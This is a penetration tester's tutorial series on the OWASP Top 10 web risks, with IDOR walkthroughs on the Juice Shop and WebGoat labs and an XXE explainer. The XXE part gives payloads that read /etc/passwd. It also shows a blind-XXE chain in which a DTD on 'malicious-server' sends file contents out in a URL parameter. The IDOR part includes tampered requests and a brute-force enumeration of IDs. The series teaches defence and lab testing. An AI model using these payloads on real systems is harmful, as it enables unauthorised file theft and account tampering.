OWASP Top 10: The Ultimate Guide

If you are here, chances are that you want to learn web application security or the OWASP Top 10, but you don’t know where to start. Well, let me tell you that you came to the right place.

I’m a penetration tester who enjoys breaking into my clients’ infrastructure and web applications. Besides, I train developers on how to write secure code. Part of the training involves showing them what hackers can do and how to prevent them from exploiting security vulnerabilities.

I am bringing this knowledge to you so that you can benefit from it as well. In this exhaustive guide, you will not just learn the OWASP Top 10, but you will also practice them on hands-on examples from the best vulnerable web applications. On top of that, I’ve prepared online video tutorials which will help you follow the hacking process step by step. Once you’ve covered the OWASP Top 10, I will show you where to go next in your hacking journey.
Let’s start learning right now!

What is OWASP Top 10?

The OWASP Top 10 is a standard document which consists of the top ten of the most impactful web application security risks in the world. The Open Web Application Security Project foundation (OWASP) publishes a version every three years. 

OWASP collects data from companies which specialize in application security. It also collects data from individuals using industry surveys. All of the results get ranked based on impact and prevalence. At last, the top ten risks are then filtered.

OWASP Top ten doesn’t cover all the vulnerabilities, but it’s a solid start for security testers, developers and organizations who want to exploit vulnerabilities and implement measures to protect against the security risks.

Why is the OWASP Top 10 important when learning web application security?

You might ask why I chose OWASP Top 10 as a backbone for this guide. Great question! Well, there are two reasons for that.

Firstly, OWASP is a respected community of tens of thousands of members ranging from information security experts to security-focused developers. It has existed for almost two decades and has produced methodologies, documents and tools which help building secure code. For example, OWASP Zed Attack Proxy (ZAP) is a tool which we will use during this training to test for security vulnerabilities. OWASP also organizes events with high-quality subjects and speakers. For you, this means that you are in good hands, and you will be learning from mature and professional resources.

Secondly, the OWASP Top 10 covers all the basics you will need to kickstart your career in application security. In fact, each one of the top 10 security risks includes one or many security vulnerabilities. For example, the Injection security risk covers all sorts of security vulnerabilities which can lead to injections.

To summarize, let me say that the OWASP Top 10 is solid and efficient if you want to quickly and efficiently learn web application security. Convinced? Let’s see what is the best way to learn that thing!

What is the best way to learn OWASP Top 10?

You might be wondering: I want to start right away, but what is the best way to learn OWASP Top 10? The answer is simply one word: Practice!

Hacking is practical by nature. Surely, you need the theory behind how each security vulnerability works, which I cover in this guide. However, you can’t say that you’ve learned them until you can exploit them, practically! That’s why for most vulnerabilities we will discuss shortly, I’ve prepared a training tutorial which will help you get your hands dirty with different challenges.

OWASP Top 10 training syllabus

The OWASP Top ten training I’ve included in this guide contains two web applications which cover the OWASP Top 10 security risks. You can download the lab right here. Alternatively, I walk you through how to set it up if you want to build it yourself.

Kickstart your web hacking journey with this OWASP Top 10 lab.
Kickstart your web hacking journey with this OWASP Top 10 lab.

The web applications are OWASP Juice Shop and OWASP WebGoat. They are both mature and well-maintained projects. They are also written in different languages, which will expose you to hacking different technologies.

During this OWASP Top ten training, we will set up and configure the best web proxies that the hackers use to test for security vulnerabilities: OWASP ZAP and Burp Suite.

I’ve also recorded a Youtube playlist as a complement to the blog posts for you to see how I solve the hands-on challenges. So, you literally have all you need to build a solid knowledge of web application hacking.

Now that you know what you will expect from this OWASP Top 10 guide, let’s get into the meat and potatoes! Let’s learn those risks and practice on hands-on challenges! 

OWASP Top 10 vulnerabilities explained

This section provides you with the OWASP Top 10 summary of all the security risks. For each one of them, there are links to dedicated posts which detail the theory and help you practice on hands-on challenges.

I recommend you bookmark this page and learn each vulnerability at a time. Once you finish it to the end, you will have a solid understanding and will be ready to test the OWASP Top 10 vulnerabilities on your own. You can even look for what you’ve learned on bug bounty platforms and get paid!


An injection is a security risk that you can find on pretty much any target. Basically, it happens when a server-side interpreter processes untrusted user input as part of a command or a query. There are many vulnerabilities which cause injection. Here are some examples:

  • SQL injection: You can find a SQL injection when the developer runs a SQL query that takes a parameter you control as an input. If you successfully exploit it, you steal data from the database, edit it or delete it altogether. 
  • OS command injection: It happens when user input is used as part of an insecure call to operating system commands. If you find one, you can run arbitrary operating system commands on the vulnerable server.
  • XPATH injection: It targets the query language typically used in XML. When you can control part of the query. Therefore, you can bypass restrictions, read unauthorized XML nodes, etc. 
  • Server-Side Template Injection: This flaw affects applications which use template engines to render server-side data. If you can control variables passed into the template, you can achieve remote code execution. 
  • LDAP Injection: When your target insecurely uses some user input to query an LDAP directory, you can perform an injection to bypass restrictions, read unauthorized data, etc.

Broken authentication and session management

Authentication is a feature which verifies an identity’s claims. For example, when you login into an application, it uses your username and password to verify that you are indeed who you are claiming to be. Upon authentication, and due to the stateless nature of HTTP, the application provides you with a session representing your identity, which your web browser sends on your subsequent requests.

Of course, you need to be able to sign up, log in, reset your password or enable Multi-Factor authentication. That’s why authentication is hard to implement without making any mistakes. Any flaw in one of those features can lead to broken authentication. We cover this in detail in a dedicated blog post.

Sensitive data exposure

If your IT assets disclose data which is not meant to be publicly accessible, they suffer from sensitive data exposure. On the one hand, this data can be at rest, like your databases or files. On the other hand, it can be in transit, especially if you are using unencrypted or weak encryption for your data transmission.

Apart from exposing your customers’ data which is a scandal, you will also get fines for exposing them. Think of the GDPR regulation where fines can go up to 20 Million Euros.

XML-External Entity (XXE)

XXE is a flaw in the way XML parsers get configured. Specifically, this vulnerability happens when the XML parser can evaluate DTDs and external entities. It allows an attacker to achieve many exploits, like listing directories and reading files from the server. It can even provoke a Denial of Service.

Broken access control

Broken access control happens when the application allows a user to perform unauthorized actions. There are many vulnerabilities which contribute to this risk, For instance, if the developer forgets to validate permissions when dealing with identifiers, the application becomes vulnerable to Insecure Direct Object Reference (IDOR).

Other vulnerabilities include Cross-site Request Forgery (CSRF), Cross-Origin Resource Sharing (CORS) misconfigurations and forced browsing. Read more about them in the dedicated blog post.

Security misconfiguration

Security misconfigurations, as the name suggests, expose vulnerabilities due to weak configurations of an IT asset. It doesn’t affect web assets only. Any component which requires a configuration is subject to this vulnerability. This means that network devices, hardware, email services, etc. can suffer from this vulnerability. For instance, your smart door lock can have a predefined default administration PIN code. If you don’t change it, anyone can access and change your device configuration.

In the context of web applications, you can find things like directory listing enabled, which would allow you to list all files and directories. Or maybe the developer forgot to disable the debug mode, allowing you to get more insights on the inner-workings of the vulnerable application.

Cross-site Scripting (XSS)

This is one of the famous client-side vulnerabilities. It allows an attacker to run arbitrary Javascript code on the victim’s web browser. XSS becomes possible when user input ends up inside an HTML page or a piece of Javascript code without proper encoding.

There are basically three types of XSS, all of them along with hands-on tutorials are explained further:

  • Stored XSS happens when the user input gets stored in the application’s datastore, then retrieved back and rendered in a page without proper encoding. 
  • Reflected XSS happens when user input gets directly returned into the HTML page without proper encoding.
  • DOM XSS happens when user input gets inside a Javascript code. Here, it is possible to exploit XSS even if there is no request made to the server.

Insecure deserialization

Insecure deserialization happens when the developer doesn’t check serialized data that a user sends to the application. This is another vulnerability where a lack of user input validation can lead to serious security problems. It is hard to exploit, but when it works, it can lead to either remote code execution or denial of service.

Using components with known vulnerabilities

You might have totally secured your own code, but what about the dependencies you are using? Have you checked them or just imported them into your code? There is a high chance that one or more of them are vulnerable. 

Unfortunately, using components with known vulnerabilities had led to many serious breaches in the past, and will still cause many breaches to come. But you already have the tools to check for them. For more in-depth knowledge of that, head to this dedicated article.

Insufficient logging and monitoring

When a hacker infiltrates a network, IT systems will generate traffic which usually doesn’t correspond to the normal one, unless you are dealing with highly skilled hackers who have time and money to go after your IT infrastructure. If you can’t detect this abnormal behaviour as soon as possible, you are essentially giving them enough time to achieve their goal. Read more about this in this blog post.

Logging and monitoring should be part of your essential security infrastructure because you simply cannot defend what you don’t know.

Beyond the OWASP Top 10

If you have reached this far, let me congratulate you for taking real steps towards your goal! I really mean it because not everyone is willing to put the effort as you did! I hope you’ve enjoyed the journey as much as I did preparing this OWASP Top 10 training.

If you want to take your skills steps further, here are some leads you can follow.

Read infosec books

Reading information security books is rewarding because you will be learning from experts in the field. I recommend the Web Application Hacker Handbook edition 2. It’s a huge book, but it gives you so many details on different security vulnerabilities and explains how to detect and exploit each one of them.

Learn other OWASP top ten projects

OWASP publishes new documents are covering new topics. For instance, the OWASP API security project covers security risks related to APIs. Also, you have the OWASP Top 10 Mobile security risks which covers security risks in mobile applications.

Learn infrastructure penetration testing

Testing web applications for security vulnerabilities is good, but what if you want to test the security of a client’s infrastructure. In this case, you have to expand your knowledge and skills further. You can learn about networking, Active Directory and other services. Then, learn how to perform enumeration, scanning, exploitation, privilege escalation and persistence. There are many courses which cover that, I recommend the Offensive Security PWK course.

Practice on hacking platforms and CTFs

When I started my journey in ethical hacking, I’ve learned so much from hacking platforms like root-me and VulnHub. There are many new emerging platforms, which means that the market is expanding and the demand for security testing skills is growing. Some platforms like hackthebox also give you exposure to hiring companies. So it’s a great opportunity for you to learn, practice, have fun and get a job in information security, all at the same time!

Earn money while hacking ethically

If you want to monetize your knowledge, you can get paid when finding security vulnerabilities with the rise of bug bounty hunting platforms like Hackerone, Bugcrowd, YesWeHack, Intigriti among many others. I personally hack on Hackerone.

I hope this OWASP Top 10 guide has opened your eyes to see how wonderful the industry of information security is! You now have a solid foundation of web application security.

You are now ready to tackle new challenges in your information security career. Good luck!

OWASP Broken access control explained

Hello ethical hackers, welcome to a new chapter of the OWASP Top 10 vulnerabilities series. In this article, we will explore OWASP Broken Access Control. You will learn the following:

  • What is Broken Access Control?
  • What are access control vulnerabilities, and how to exploit them?
  • Attacks in the wild
  • What is the impact of Broken Access Control?
  • How to prevent it

I will keep enriching your mind with knowledge and skills with similar content, so make sure you don’t miss any chance and subscribe to our newsletter. 

What is Broken Access Control?

Let’s first understand the difference between Broken Authentication and Broken Access Control. There is a key difference to properly distinguish between them. The best way to explain that would be a simple example.

Suppose you have a penetration testing assignment. Quickly, you found an exposed administration dashboard without authentication. In this case, it is clearly an authentication issue. When the developer patches the authentication vulnerability, you log in as a normal user and find that you still have access to the dashboard. In this case, the developer forgot to validate if the user is authorized to access the admin dashboard.

Therefore, this vulnerability happens when the application fails to properly validate authorization after the user has been authenticated.

Broken Access Control vulnerabilities

Based on the definition above, there are many vulnerabilities under the Access Control category. This section covers some of them.

IDOR: Insecure Direct Object Reference

This vulnerability happens when the application doesn’t properly validate access to resources through IDs. For example, an application shows a purchase order to the customer using the /orders/12456 endpoint. However, the user whose order id is 12456 can also access other orders by simply changing the order id. This is the simplest scenario, but there are many other techniques to exploit an IDOR vulnerability.

CSRF: Client-Side Request Forgery

This is another vulnerability in the Broken Access Control category. In short, CSRF targets victim users, hence the term Client-Side, to unwillingly send a request from their own Web Browsers.

Generally, CSRF targets requests which change the state. For example, changing users’ data, updating an order, etc. When the application doesn’t verify if the user has forged the request, the attacker would impersonate the victim for that request.

CORS: Cross-Origin Resource Sharing misconfiguration

CORS allows making requests cross-origin, bypassing the Same Origin Policy (SOP). When there is a CORS misconfiguration, an attacker can impersonate a victim. In general, a CORS misconfiguration vulnerability doesn’t only perform state-changing actions, like CSRF does, but it also allows the attacker to read data. Moreover, when CORS misconfiguration chains with a CSRF vulnerability, an attacker can combine multiple requests to achieve highly impactful damage.

Broken Access Control attacks

There are a lot of examples which illustrate how prevalent this class of vulnerabilities is.

Firstly, let’s explore this Broken Access Control attack example. The bug bounty hunter demonstrates how he could take over any authenticated victim’s account using a misconfigured CORS. His exploit reads data from the user’ profile and then updates it. 

Then, in this Broken Access Control exploit, the attacker targets the profile update feature with a CSRF vulnerability. Therefore, he could change an authenticated victim’s email and take over his account.

Finally, this last report allowed an attacker to access the balances of unauthorized users. Notice how Starbucks clearly states that this issue targets authenticated but not authorized users.

OWASP Broken Access Control: View unauthorized balances using an IDOR vulnerability
OWASP Broken Access Control: View unauthorized balances using an IDOR vulnerability

Broken Access Control impact

If you’ve been following from the beginning of this article, you should have an idea of the impact of this vulnerability. In fact, they can target Confidentiality, Integrity and Availability, depending on the context. For example, an attacker can read sensitive data using an IDOR vulnerability or a CORS misconfiguration, which affects confidentiality. Besides, editing data of other users using a CSRF vulnerability would lead to an Integrity compromise.

Broken Access Control remediation

Preventing such a vulnerability can be complex because there are a lot of scenarios which can lead to it. Besides, while modern Frameworks protect against some vulnerabilities, like CSRF, they can’t protect against other vulnerabilities like IDOR. 

However, there general guidelines that I can advise you to respect:

  • Learn what security protections your Web Framework offers and enable them.
  • Protect all your endpoints using a role-based model which you should define once. That way, you reduce inconsistencies in your overall access control policy.
  • Verify access to resources using IDs should always implement a verification step to make sure that the user has proper authorization.
  • Deny access to your resources by default, unless you want them public.

For detailed information, OWASP explains some Access Control permission models and provides prevention measures in the OWASP Broken Access Control article.

That’s it! If you enjoyed learning with this article, make sure to share it with your network and subscribe to the newsletter to have fresh content delivered to you once it’s available. Until then, stay curious, learn new things and go find some bugs!

IDOR explained – OWASP Top 10 vulnerabilities

Hello ethical hackers and welcome to this new episode of the OWASP Top 10 vulnerabilities series. In this blog post, you will learn all aspects of the IDOR vulnerability. You will start with the basics and gradually build your knowledge. When you finish reading this article, you will have a solid understanding of IDOR. Besides, you will be ready to put your knowledge into practice in the IDOR tutorial.

I will keep enriching your mind with knowledge and skills through similar upcoming content, so make sure you don’t miss any chance and subscribe to our newsletter.

What is IDOR?

IDOR stands for Insecure Direct Object Reference. Let me break that down for you. I will make key concepts in bold so that it’s easier for you to connect the dots and understand IDOR meaning.

Typically, every application has to manipulate resources. For instance, an e-commerce website will manipulate products, users, baskets, etc. Each resource instance will be called an object, and it is generally referenced by an ID. For example, user A will have ID1 and user B will have ID2. IDOR vulnerability targets a flaw in the way the application references these objects. In other words, any insecure or lack of validation can lead to a malicious user directly accessing unauthorized resources.

I tried to put all the keywords into place. Hopefully, this makes sense for you now. If it is not clear, don’t worry. The following sections will make it crystal clear.

IDOR falls into the OWASP Broken Access Control vulnerability category. This means that you will find most of the IDOR vulnerabilities after you authenticate to the application. However, it’s not always the case.

IDOR attack using guessable IDs

The most basic IDOR scenario happens when the application references objects using easy to guess IDs. For example, they can be incremental integers, they can contain predictable words like the email of the user, or a folder name. Sometimes, they can be poorly encoded. For instance, a base64 encoded incremental Integer, or a profile image name hash reference.

Suppose that an application lets you access your data on the following endpoint:

GET /api/users/78963

In this simple scenario, all you have to do is substitute your ID, which is 78963, with another guessed value.

If the ID is a file name, try /etc/passwd. If it is an Integer, try looping through a range of them.

In the Insecure Direct Object Reference tutorial, you will practice these kinds of attacks.

IDOR attack using IDOR with GUIDs

Sometimes, the application uses IDs which are hard or even impossible to guess. In this case, it is most likely to be a Globally Unique Identifier (GUID). You can also find it under the name of Universally Unique Identifier (UUID). To continue on the example we gave earlier, the endpoint might look like the following:

GET /api/users/b10b413c-6b52-4b10-98c3-b74d19c4e0f6

In this case, you can perform more enumeration on the application. In other words, try to discover as many features as you can. You will likely find endpoints which return a list of objects, each one referenced using a publicly available GUID. For example, the user public profile might return its GUID.

If UUIDs are not publicly available, you can still test for the IDOR vulnerability. Although the impact might be lower, I’ve seen many instances where the issue has been accepted by the client as valid. Moreover, if there is a CSRF issue or a CORS misconfiguration, you can exfiltrate UUIDs and forge your malicious requests with ease.

IDOR in REST applications

In most modern applications, you will deal with REST APIs, which follow a simple naming convention. I will explain key points about REST APIs, which would help you understand how to test for IDOR. You can learn more about the REST convention, but I will explain what you need for a successful IDOR exploit.

With that said, this doesn’t mean that you won’t find insecure direct object reference vulnerabilities in other Web Service styles like SOAP. Whenever you see a feature working with an object reference, always try testing for IDOR.

REST HTTP methods

You can also call them HTTP verbs. These define the operation to execute on the API. In general, the GET method allows you to read data, the POST will either create or update a resource, the PUT and PATCH verbs update data and DELETE will delete your referenced resource(s).

REST convention

REST applications follow a naming convention which makes it easy for you to uncover hidden IDOR vulnerabilities. 

For the sake of simplicity, let’s say an application manages users using incremental Integers. Through your usual enumeration, you found this endpoint which returns your profile data:

GET /api/profile

If it is a RESTful API, you can test many things!

Firstly, try to append an ID to the endpoint. You might stumble upon the administrator or the owner using small integers.

GET /api/profile/1

Then, you can test the update of a user.

PUT /api/profile/1
Host: vulnerable
Content-Type: application/json

{"email": "eve@evil.com"}

You can also test reading all the profiles

GET /api/profiles

Finally, you can test creating a new user.

POST /api/profile
Host: vulnerable
Content-Type: application/json

{“email”: “eve@evil.com”, “password”: “123”}

Of course, things are not so simple in real life. However, the methodology of testing for IDOR vulnerabilities still applies. We will explore more realistic examples in the IDOR tutorial.

IDOR and mass-assignment vulnerabilities

Sometimes, when you create a new resource, you get back its ID. However, when you update it, the application doesn’t include it in the POST data. For instance, suppose an application manages a to-do list. The following request creates a new one:

POST /api/todos
Host: vulnerable
Content-Type: application/json


Then, you get the following response: {"id": 123, "name":"mytodo"}

However, when you update it, the request doesn’t reference the ID in the POST data.

PUT /api/todos/123
Host: vulnerable
Content-Type: application/json


You might be tempted to change the ID 123 in the request endpoint, but the application checks if you have the right to update it.

This is where mass-assignment comes into play. If the application updates all attributes specified in the POST data, you can send the following request:

PUT /api/todos/123
Host: vulnerable
Content-Type: application/json


Therefore, you bypass the check and the to-do list with ID 1 will be updated!

A special case of this is when the object you are storing references another object. In his tweet, Jobert explains how referencing a non-existing child ID can result in disclosing data of future objects.

In the next section, I will show you some IDOR real life examples.

IDOR attack examples

Let’s start with this simple IDOR vulnerability PoC to show you how easy it is to find this vulnerability in the wild. In this case, all the hacker had to do was to loop through the order numbers, which are incremental integers. This led to disclosing arbitrary users’ order information. Notice how the endpoint follows the REST naming convention /order/ORDER-ID

Then, there is this IDOR hackerone report where the hacker can update a resource using the id, which is a simple integer. Note the hacker’s methodology, we will come back to this in the following section.

Finally, this IDOR exploit is quite interesting. In fact, the hacker decodes a base64 encoded ID and finds that the team ID is guessable. He then references new teams by changing the ID and encoding it in base64. 

Insecure direct object reference impact

IDOR impact varies depending on the context. Firstly, it can lead to confidentiality compromise, like sensitive information disclosure. For instance, as you saw in the first IDOR Hackerone report, orders of arbitrary users have been leaked. Secondly, IDOR can allow an attacker to edit unauthorized resources as you discovered in the second IDOR attack example. Finally, Insecure direct object reference can impact availability. For example, an attacker can abuse a feature which deletes uploads to delete a file required by the system, which will lead to a server crash.

How to test for IDOR vulnerability? IDOR methodology and tools

Insecure direct object reference vulnerabilities are easy to find. However, some of them may go under your testing radar if your tests are superficial. Besides, you will get many duplicates if you are a bug bounty hunter.

To maximize your chance of finding hidden IDOR vulnerabilities, here is a methodology you can follow.

  1. Register two accounts for each role the application supports. This will help you test lateral access control measures and privilege escalation.
  2. Discover as many features as you can, preferably with the role with the highest privilege. If the application provides paid membership, try to get test accounts or purchase it.
  3. Collect all the endpoints found and try to find a naming pattern. Then, guess new endpoint names based on the pattern you discovered.

Test for all the endpoints against all the roles you’ve registered earlier. You can manually do that if the application is small and the roles don’t go beyond two. In the opposite case, you’ll need a tool to assist you. In Burp Suite, you can use AuthMatrix, Auto-Repeater or Authorize plugins.

Insecure direct object reference prevention

Insecure direct object reference remediation requires developers to manually define access control measures on each endpoint. Because of this, it is hard to cover all the features. In fact, I don’t remember a single application which passed my IDOR testing. However, the following developer habits might reduce the attack surface and effectively allow for better IDOR mitigation:

  • As a developer or tester, make sure to write integration tests which cover IDOR use cases.
  • For DevOps engineers, make sure you set up a CI/CD pipeline which includes all automated tests.
  •  Use GUIDs which are hard to guess. However, this doesn’t help with IDOR fix by itself. 

You can learn more on how to prevent IDOR using the insecure direct object reference OWASP cheat sheet.

That’s it! You’re now ready for the hands-on IDOR tutorial. If you enjoyed learning with this article, make sure to share it with your network and subscribe to the newsletter to have fresh content delivered to you once it’s available. Until then, stay curious, learn new things and go find some bugs!

IDOR tutorial hands-on – OWASP Top 10 training

idor: insecure direct object reference

Hello ethical hackers and welcome again to this OWASP Top 10 training series. In this hands-on IDOR tutorial, you will practice what you’ve learned about the IDOR vulnerability we explored earlier. Specifically, you will leverage IDOR to:

  • Access other users’ data using simple IDs and UUIDs
  • Impersonate other users
  • Hunt for hard IDs
  • Delete other users’ data

If you don’t know what id IDOR, RESTful APIs or HTTP methods, I highly recommend you read the previous article. That way, you will take full advantage of this IDOR tutorial.

I will be releasing new similar hands-on tutorials to help you practice security vulnerabilities. Make sure you stay up-to-date by subscribing to the newsletter below.

Leverage IDOR vulnerability to affect Confidentiality

In many IDOR cases, you will compromise the confidentiality of other users’ data by accessing other resources. In the following IDOR attack examples, we will explore how to do that in two ways.

Juice shop IDOR challenge: Access other users’ baskets

Let’s start with a simple challenge to get you started. In this simple IDOR tutorial, the goal is to access other users’ baskets. 

  1. Make sure OWASP ZAP or Burp Suite are properly configured with your Web browser.
  2. Login to OWASP Juice shop and add some products to your basket.
  3. When you list the content of your basket on the top-right corner, you should capture the request GET /rest/basket/ID-OF-YOUR-BASKET in your Web Proxy.
  4. Let’s brute force the basket ID since it is a simple Integer. You can do this using Burp’s Intruder or ZAP’s Fuzzer. In the video tutorial, I am using the latter. 
  5. Using a range of Integers between 0 and 50, we successfully accessed many baskets.
IDOR vulnerability leaks other baskets
IDOR vulnerability leaks other baskets

WebGoat IDOR challenge: Hidden endpoint

In this IDOR attack example. Our goal is to access data of other users using an endpoint which is not easily exploitable. In fact, we will infer the vulnerable endpoint from what we will see in the Web Proxy.

  1. Make sure OWASP ZAP or Burp Suite are properly configured with your Web browser.
  2. Login to OWASP WebGoat.
  3. Go to the Broken Access Control menu, then choose Insecure Direct Object Reference. Then, choose challenge 2.
IDOR tutorial:  WebGoat IDOR challenge
IDOR tutorial: WebGoat IDOR challenge
  1. Login as the user tom with the password cat, then skip to challenge 5.
  2. Click on the first View Profile button
IDOR tutorial: View profile
  1. You should capture a request GET /WebGoat/IDOR/profile/%7BuserId%7D  in your Web Proxy. Note that the structure follows the REST convention (profile/id)
  2. Since this is a RESTful API, when you remove the ID part and replay the request. You should get your own profile data. Note your userId for later.
IDOR tutorial: More data returned from the API
IDOR tutorial: More data returned from the API
  1. The userId seems to be a simple Integer. Let’s try to brute force the last digit. Maybe we will get access to other users’ data. You can do this using Burp’s Intruder or ZAP’s Fuzzer. In the video tutorial, I am using the latter.
  2. You should be able to access Bill’s data with the user id 2342388
Exploiting IDOR vulnerability to disclose other profiles
Exploiting IDOR vulnerability to disclose other profiles

Compromise Integrity using IDOR vulnerability

If a feature of the application allows you to modify data and it’s vulnerable to IDOR, you will be able to edit arbitrary resources. Furthermore, even though some IDs are hard to guess, you can hunt for them inside the application. In the following IDOR attack examples, you will see this in action.

Leverage IDOR vulnerability to impersonate other users

In this challenge, the goal is to post a review of a product as another user. 

  1. Login to OWASP Juice Shop.
  2. Select a product and add a review while capturing the HTTP requests.
  3. In your Web Proxy, you should see a request similar to the following
Write a review feature
Write a review feature
  1. Note how the author field contains the email of your account. Change that to another user. For example, superadmin@juice-sh.op
  2. Send the request and verify that the comment has been added as the impersonated user.
IDOR tutorial: posting a review as another user
IDOR tutorial: posting a review as another user

Hunting for hard IDs to achieve an IDOR exploit

In this challenge, our goal is to modify a review of another user. Let’s do that! 

  1. When you list reviews of the banana juice product, you can see Bender’s review.
IDOR tutorial: Bender’s review
  1. If we want to edit an existing review, we need to see what the HTTP request looks like. Let’s add our own review and edit it.
The HTTP request to edit an existing review
  1. Sadly, it seems that the id is hard to guess. If we want to edit Bender’s review, we will have to hunt for his review’s ID. 
  2. Looking through the HTTP requests on your Web Proxy, you should spot a request which lists all reviews. Have you found it? It should be similar to GET /rest/products/6/reviews. And the response gives us the missing piece of the puzzle.
Listing of all the review IDs
Listing of all the review IDs
  1. Let’s take the highlighted _id parameter from the response above and repeat our previous review edition PATCH /rest/products/reviews request.
  2. You should now have changed Bender’s review comment.
IDOR tutorial finished! The vulnerability allowed us to edit other reviews
IDOR tutorial finished! The vulnerability allowed us to edit other reviews

Unauthorized data deletion using IDOR vulnerability

The impact of Insecure Direct Object Reference depends on what the vulnerable feature does. Sometimes, you can’t find it using normal browsing. To increase your chance of finding hidden IDOR vulnerabilities, you need to play with the RESTful requests you already collected. In this case, we will delete all customer feedback entries from the Juice shop store.

  1. Login to OWASP Juice Shop. Then, go to the menu on the top-left corner and send a customer review.
  2. You should see a request similar to the one below
HTTP request to post a customer feedback
  1. There are few things to note here. Firstly, we have a POST request to the feedback resource, which uses a captcha id and its corresponding value. In the response, we have the id of the resulting feedback, which is a simple Integer. 
  2. Although there is no feature available for us in the UI for deleting a customer feedback, we can still tamper with the request to see if the RESful API allows to delete feedback. Let’s change POST to DELETE, append the feedback ID and remove the POST data.
Malicious IDOR exploit using a DELETE request
Malicious IDOR exploit using a DELETE request
  1. We have successfully removed our own feedback. 
  2. So far, the API accepts to delete our own feedback. But what about deleting other users’ feedback? It seems that we can reuse the same captcha id and value in our malicious request, which will bypass the captcha protection. The idea is to iterate over the feedback ids and delete all of them. I leave this for you as a final exercise.

That’s it! You’re now ready to find IDOR vulnerabilities on your own. If you enjoyed learning with this article, make sure to share it with your network and subscribe to the newsletter to have fresh content delivered to you once it’s available.

Again, here is the IDOR walkthrough video:

XXE explained – OWASP Top 10 vulnerabilities

Welcome to this new episode of the OWASP Top 10 vulnerabilities series. Today, you will learn everything related to XXE. This blog post will explain the theory with some examples. By the end, you will be ready to tackle XXE in practice.

Don’t forget to subscribe the Friday newsletter to kickstart your

Some key XXE basic concepts

Before understanding XXE, you need to know some key concepts which will help you properly understand the XXE attack. If you already know what is XML, DTD, XML Entities, parameter entities and XML parsers, feel free to skip this section.

What is XML?

XML stands for Extensible Markup Language. It defines how a document should be structured for data exchange. The following is an example XML document.

<bio>I love cats</bio>

XML is used to exchange data between systems. For example, when you subscribe to an RSS feed, your client software consumes XML documents containing the News and displays them in a feed. Another example is SOAP, which uses XML to exchange data in web services.

XML Parsers

For an application to manipulate XML documents, it uses an XML parser, which converts the text representation, sent over the network, into an XML DOM (Document Object Model) ready to be consumed by the application.

What is a DTD?

Sometimes, when exchanging XML documents, developers need to enforce the data elements, attributes and value types, etc. This can be done using a document type definition (DTD). This will come handy when exploiting XXE. For example, the XML document mentioned above can optionally include a DTD as follows:

<?xml version="1.0"?>
<!DOCTYPE account [
<!ELEMENT account (name,email,age,bio)>
<!ELEMENT email (#PCDATA)>
<bio>I love cats</bio>

In this DTD, we enforce that the XML document should contain an account element, which includes a name, email, age and bio fields of type string. Since this DTD is included within the XML document itself, it is called an internal DTD. XML supports also external DTDs, or both.

What is an XML Entity?

XML Entities provide a way to represent data within an XML document. Think of it as a variable holding your data, which you can reference in many places. They are defined inside a DTD. The syntax is as follows:

<!ENTITY entity-name "entity-value">

When you want to reference data from other resources, or include entities from an external DTD, you use XML External Entities. The syntax is slightly different.

<!ENTITY entity-name SYSTEM "/uri/to/the/dtd/or/resource">

Then, you use the syntax &entity-name; to include your entity inside the XML document.

What is an XML Parameter Entity?

Sometimes, XML external entities cannot be used for reasons we will explore shortly. In this case, you can use Parameter Entities. They are special entities which can be referenced inside a DTD. The syntax is:

<!ENTITY % param-entity-name "param-entity-value" >

You can also use parameter entities to fetch a URI

<!ENTITY % param-entity-name SYSTEM "URI" >

What is XXE injection vulnerability?

Now that you know what does XXE mean, how can we use it to achieve an injection?

Do you remember, from the Injection vulnerability, when we explained why trusted user input is dangerous? Well, XML injection is no different. In fact, XXE injection happens when an application trusts user input in an XML document. This is a typical scenario of the attack:

  1. A feature in the application expects an XML to carry comments. The XML document looks like this:
<?xml version = "1.0" encoding = "UTF-8" ?>
      <content>Great article!</content>

Sometimes, even if the application accepts JSON data, you can still try changing the Content-Type HTTP Header from application/json to application/xml. See this in our XXE tutorial. For now, let’s suppose that the application expects XML. 

  1. A malicious user sends the following XML input
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY myentity SYSTEM "file:///etc/passwd"> ]>
  1. The application parses the malicious input using the XML Parser.
  2. The content of /etc/passwd gets stored as the comment of the user eve.
  3. The application renders the list of comments, which discloses the server’s /etc/passwd file. 
  4. If we inject a non-existing file, say file:///etc/passwdnotexistent, the server returns an error stating that the file /etc/passwdnotexistent doesn’t exist.

In the scenario we’ve just described, the server returns direct feedback to the user. You can see this in action in this hands-on tutorial. However, it’s not always the case. XXE injections, like any Injection vulnerability, can also be blind.

What is Blind XXE?

When the server doesn’t return direct feedback to the user upon an XML injection, we call it a blind XXE vulnerability. You may wonder how we would exploit it if there is no feedback? Well, the same concept we learned in the Injection vulnerability can be applied here: Abusing the interpreter to make a call to us.

In the following section, we will explore the different ways we can use to exploit a blind XXE.

How to detect a Blind XXE vulnerability?

The easiest way to detect a Blind XXE is to use a URL pointing to our server in the XML external entity. You can inject the following DTD file and wait for a ping on your malicious server:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://malicious-server.com/poc"> ]> 

If HTTP traffic is allowed, the vulnerable server will request http://malicious-server.com/poc, which you can see in your malicious server’s logs. See this in action on this hands-on XXE tutorial.

Note: Sometimes, even if there is a Blind XXE vulnerability and the HTTP traffic is allowed outbound, you will not receive a ping from the vulnerable server. In this case, you can use parameter entities instead of external entities. You might get lucky if XML external entities are blocked. This is especially useful when you don’t have an XML field to inject into.

How to exploit a Blind XXE?

Once you validate it, you can start testing for the XXE vulnerability. There are many scenarios, depending on the situation, but they all fall into the out-of-band category.

Exfiltrate internal files using out-of-band HTTP callbacks

Blind XXE vulnerability allows you to read internal files on the remote vulnerable host. To do that, you send a malicious XML document containing the following DTD:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://malicious-server/malicious.dtd"> %xxe;]>
Before that, you should have the following malicious.dtd file on your malicious-server
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM 'http://malicious-server/?content=%file;'>">

Notice that we are defining the entity out inside the entity bar. This is possible because you can use nested entities in external DTDs, which is useful when you don’t have an XML field to reference your external entity within.

This is how the XXE attack workflow will go:

  1. The vulnerable server will receive your malicious XML document and evaluate it using the XML parser.
  2. The XML parser will fetch your malicious DTD file from your malicious server.
  3. The vulnerable server will fetch the content of its /etc/passwd file and put it as the value of the parameter content.
  4. The vulnerable server will send a request to your malicious server
  5. You will get the content of the vulnerable server’s /etc/passwd file in the content parameter.

